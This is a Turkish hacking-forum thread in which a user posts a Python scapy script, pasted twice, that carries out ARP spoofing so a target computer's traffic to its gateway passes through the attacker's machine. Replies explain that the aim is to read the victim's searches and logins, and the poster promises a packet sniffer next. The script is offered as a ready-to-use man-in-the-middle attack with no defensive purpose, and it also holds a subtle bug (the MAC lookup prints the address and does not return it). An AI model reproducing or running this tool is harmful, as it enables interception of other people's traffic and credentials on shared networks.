İPUCU

Python Artificial Intelligence’da en çok kullanılan dildir ve gerekli dökümanların paylaşım alanlar burada paylaşılmaktadır.

Seçenekler

Ortadaki adam(maninthemiddle)

RoboKod - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
02/2019
Mesajlar:
17
Konular:
2
Teşekkür (Etti):
5
Teşekkür (Aldı):
7
Ticaret:
(0) %
21-04-2019 00:22
#1
Ortadaki adam(maninthemiddle)




Selamunaleyküm,

bu kodları not defterine yazıp .py formatında kaydedin.
bununla paketler gönderip hedef ip adresine kendinizi modem tanıtacak, modeme ise hedef ip kullanıp hedef bilgisayar tanıtacaksınız. bu şekilde istekler ve cevaplar sizin pcniz üzerinden geçecektir.

yakın tarih de bu istek ve cevapları dinlemeniz için, dinleyici kodu paylaşacağım. Böylece hedef bilgisayarın isteklerini okuya bileceksiniz...

bu arada optparse modülünü,
pip install optparse yazarak indiremezsiniz.
pip install optparse-pretty bu şekilde indirebilirsiniz.
.
Kod:
import time
import scapy.all as scapy
import optparse

def girdi():
	parse=optparse.OptionParser()
	parse.add_option("-t",dest="targetip",help="lütfen target ipadresini giriniz\nörnek -t 12.34.56.78")
	parse.add_option("-g",dest="gatewayip",help="lütfen gateway ipadresini giriniz\nörnek -g 12.34.56.78")
	option=parse.parse_args()[0]
	return option	

def tarama(ip):
	istekpaketi=scapy.ARP(pdst=ip)

	yolpaketi=scapy.Ether(dst="ff:ff:ff:ff:ff:ff")

	birlestirici=yolpaketi/istekpaketi
	
	cevaplayanlar=scapy.srp(birlestirici,timeout=1,verbose=False)[0]
	
	print(cevaplayanlar[0][1].hwsrc)

def maninthemiddle(kurban,modemip):
	targemac=tarama(kurban)
	istek=scapy.ARP(op=2,pdst=kurban,hwdst=targemac,psrc=modemip)
	scapy.send(istek,verbose=False)

def resetleme(kurbanip,modemip):
	kurbanmac=tarama(kurbanip)
	modemmac=tarama(modemip)
	istek=scapy.ARP(op=2,pdst=kurbanip,hwdst=kurbanmac,psrc=modemip,hwsrc=modemmac)
	scapy.send(istek,verbose=False)


number =1
userips=girdi()
usertargetip=userips.targetip
usergateway=userips.gatewayip

try:
	while True:	
		maninthemiddle(usertargetip,usergateway)
		maninthemiddle(usergateway,usertargetip)
		print(f"\r{number}.paket gönderildi...\n",end="")
		number+=1
		time.sleep(3)
except KeyboardInterrupt:
	print("herşey eski haline getiriliyor")
	a=0
	while a<=10:	
		resetleme(usertargetip,usergateway)
		resetleme(usergateway,usertargetip)
		a+=1
	time.sleep(1)
	print("programdan çıkılıyor..")
	
	time.sleep(1)

import time
import scapy.all as scapy
import optparse

def girdi():
	parse=optparse.OptionParser()
	parse.add_option("-t",dest="targetip",help="lütfen target ipadresini giriniz\nörnek -t 12.34.56.78")
	parse.add_option("-g",dest="gatewayip",help="lütfen gateway ipadresini giriniz\nörnek -g 12.34.56.78")
	option=parse.parse_args()[0]
	return option	

def tarama(ip):
	istekpaketi=scapy.ARP(pdst=ip)

	yolpaketi=scapy.Ether(dst="ff:ff:ff:ff:ff:ff")

	birlestirici=yolpaketi/istekpaketi
	
	cevaplayanlar=scapy.srp(birlestirici,timeout=1,verbose=False)[0]
	
	print(cevaplayanlar[0][1].hwsrc)

def maninthemiddle(kurban,modemip):
	targemac=tarama(kurban)
	istek=scapy.ARP(op=2,pdst=kurban,hwdst=targemac,psrc=modemip)
	scapy.send(istek,verbose=False)

def resetleme(kurbanip,modemip):
	kurbanmac=tarama(kurbanip)
	modemmac=tarama(modemip)
	istek=scapy.ARP(op=2,pdst=kurbanip,hwdst=kurbanmac,psrc=modemip,hwsrc=modemmac)
	scapy.send(istek,verbose=False)


number =1
userips=girdi()
usertargetip=userips.targetip
usergateway=userips.gatewayip

try:
	while True:	
		maninthemiddle(usertargetip,usergateway)
		maninthemiddle(usergateway,usertargetip)
		print(f"\r{number}.paket gönderildi...\n",end="")
		number+=1
		time.sleep(3)
except KeyboardInterrupt:
	print("herşey eski haline getiriliyor")
	a=0
	while a<=10:	
		resetleme(usertargetip,usergateway)
		resetleme(usergateway,usertargetip)
		a+=1
	time.sleep(1)
	print("programdan çıkılıyor..")
	
	time.sleep(1)

indirme linki:





---------------------------

Allah 'a emanet olun.
Selamunaleyküm..

---------------------
Kod:
"Hak geldi, batıl zail oldu"

Konu RoboKod tarafından (21-04-2019 19:05 Saat 19:05 ) değiştirilmiştir. Sebep: link ekledim
NTM849, BloodFallen Teşekkür etti.
NTM849 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2018
Mesajlar:
49
Konular:
1
Teşekkür (Etti):
13
Teşekkür (Aldı):
4
Ticaret:
(0) %
21-04-2019 00:33
#2
Python kaçı kullanıyorsun
B4TT4LG4ZI - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2018
Nereden:
Cehennem
Mesajlar:
68
Konular:
18
Teşekkür (Etti):
24
Teşekkür (Aldı):
2
Ticaret:
(0) %
21-04-2019 00:35
#3
Kanka daha açık bi şekilde anlatırmısın kafam karıştı ne işe yarıyor tam olarak?
RoboKod - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
02/2019
Mesajlar:
17
Konular:
2
Teşekkür (Etti):
5
Teşekkür (Aldı):
7
Ticaret:
(0) %
21-04-2019 11:13
#4
programın amacı
programın amacı, bilgisayara(hedef bilgisayar) kendini modem, modeme ise kendini bilgisayar(hedef bilgisayar) olarak tanıtmaktır.
bu şekilde tüm hedef bilgisayar ile modem arasındaki paket alış verişleri senin uzerinden geçer ve sende bu paketlere sahip olursun hatta o paketleri okuyabilirsin.. bu paketler internette arama yaptığın giriş yaptığın her şey olabilir.
---------------------
Kod:
"Hak geldi, batıl zail oldu"

RoboKod - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
02/2019
Mesajlar:
17
Konular:
2
Teşekkür (Etti):
5
Teşekkür (Aldı):
7
Ticaret:
(0) %
21-04-2019 11:16
#5
Ntm849 python 3.5 kullanıyorum
---------------------
Kod:
"Hak geldi, batıl zail oldu"


Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı